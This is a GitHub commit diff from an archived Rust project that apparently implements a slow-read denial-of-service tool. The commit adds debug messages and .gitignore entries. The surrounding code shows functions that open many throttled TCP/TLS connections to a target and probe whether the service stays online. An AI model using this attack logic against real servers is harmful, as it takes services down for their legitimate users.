Skip to content
This repository was archived by the owner on Jun 19, 2019. It is now read-only.

Commit eb5d18d

Browse files
Add debug messages
1 parent 7ea09a2 commit eb5d18d

File tree

2 files changed

+17
-10
lines changed

2 files changed

+17
-10
lines changed

.gitignore

+2
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
11

2+
.vscode/
3+
rls/
24
/target
35
**/*.rs.bk
46

src/main.rs

+15-10
Original file line numberDiff line numberDiff line change
@@ -100,8 +100,10 @@ fn start(options: Options) -> impl Future<Item = (), Error = ()> {
100100
let start_time = Instant::now();
101101
let service_online = Arc::new(AtomicBool::new(true));
102102

103+
println!("Launching probe connection...");
103104
let probe_conn = launch_probe_connection(request.clone(), &options, service_online.clone());
104105

106+
println!("Launching slow connections...");
105107
let interval =
106108
Interval::new(start_time, Duration::from_secs(1))
107109
.for_each(move |instant| {
@@ -120,7 +122,7 @@ fn start(options: Options) -> impl Future<Item = (), Error = ()> {
120122
});
121123

122124
Deadline::new(interval, Instant::now() + attack_duration)
123-
.map_err(|_| ())
125+
.map_err(|e| debug!("Deadline Error: {:?}", e))
124126
.join(probe_conn)
125127
.and_then(|_| ok(()))
126128
}
@@ -140,13 +142,13 @@ fn launch_probe_connection(req: Arc<Request>, options: &Options, service_online:
140142

141143
let probe = TcpStream::connect(req.sock_addr())
142144
.map_err(move |e| {
143-
debug!("Connecting probe {:?}", e);
145+
debug!("Error connecting probe {:?}", e);
144146
}).and_then(move |tcp_stream| {
145147
if *req_clone.scheme() == Scheme::HTTPS {
146148
let builder = SslConnector::builder(SslMethod::tls()).unwrap();
147149

148150
Box::new(SslConnectorExt::connect_async(&SslConnectorBuilder::build(builder), req_clone.host(), tcp_stream)
149-
.map_err(move |e| debug!("Upgrading probe to SSL {:?}", e))
151+
.map_err(move |e| debug!("Error upgrading probe to SSL {:?}", e))
150152
.and_then(move |tcp_stream| {
151153
ok(Box::new(tcp_stream) as Box<AsyncStream + Send>)
152154
})) as Box<Future<Item = Box<AsyncStream + Send>, Error = ()> + Send>
@@ -156,10 +158,10 @@ fn launch_probe_connection(req: Arc<Request>, options: &Options, service_online:
156158

157159
}).and_then(move |tcp_stream| {
158160
io::write_all(tcp_stream, req_clone2.root_request_str().to_string())
159-
.map_err(|e| debug!("Writing to probe {:?}", e))
161+
.map_err(|e| debug!("Error writing to probe {:?}", e))
160162
}).and_then(move |(tcp_stream, _)| {
161163
io::read_to_end(tcp_stream, Vec::new())
162-
.map_err(|e| debug!("Reading from probe {:?}", e))
164+
.map_err(|e| debug!("Error reading from probe {:?}", e))
163165
}).and_then(move |_| {
164166
service_online_clone2.store(true, Ordering::SeqCst);
165167
ok(Loop::Continue(()))
@@ -223,7 +225,7 @@ fn launch_attack(
223225
TcpStream::connect(req.sock_addr())
224226
.map_err(move |e| {
225227
err_open_conns.fetch_sub(1, Ordering::SeqCst);
226-
debug!("Connecting {:?}", e);
228+
debug!("Error connecting {:?}", e);
227229
}).and_then(move |tcp_stream| {
228230

229231
tcp_stream.set_recv_buffer_size(recv_buffer_size).unwrap();
@@ -234,7 +236,7 @@ fn launch_attack(
234236
Box::new(SslConnectorExt::connect_async(&SslConnectorBuilder::build(builder), req.host(), tcp_stream)
235237
.map_err(move |e| {
236238
err_open_conns_2.fetch_sub(1, Ordering::SeqCst);
237-
debug!("Upgrading to SSL {:?}", e);
239+
debug!("Error upgrading to SSL {:?}", e);
238240
}).and_then(move |tcp_stream| {
239241
ok(Box::new(tcp_stream) as Box<AsyncStream + Send>)
240242
})) as Box<Future<Item = Box<AsyncStream + Send>, Error = ()> + Send>
@@ -244,7 +246,7 @@ fn launch_attack(
244246

245247
}).and_then(move |tcp_stream| {
246248
io::write_all(tcp_stream, req_clone.request_str().to_string())
247-
.map_err(|e| debug!("Writing {:?}", e))
249+
.map_err(|e| debug!("Error writing {:?}", e))
248250

249251
}).and_then(move |(tcp_stream, _)| {
250252
loop_fn(tcp_stream, move |tcp_stream| {
@@ -254,12 +256,15 @@ fn launch_attack(
254256
io::read_exact(tcp_stream, buf)
255257
.then(move |res| {
256258
let (wait_time, value) = match res {
257-
Err(_) => (Duration::from_secs(0), ok(Loop::Break(()))),
259+
Err(e) => {
260+
debug!("Error reading {:?}", e);
261+
(Duration::from_secs(0), ok(Loop::Break(())))
262+
},
258263
Ok((tcp_stream, _buf)) => (wait_time, ok(Loop::Continue(tcp_stream)))
259264
};
260265

261266
Delay::new(Instant::now() + wait_time)
262-
.map_err(|e| debug!("Waiting {:?}", e))
267+
.map_err(|e| debug!("Error waiting {:?}", e))
263268
.and_then(|_| value)
264269
})
265270
})

0 commit comments

Comments
 (0)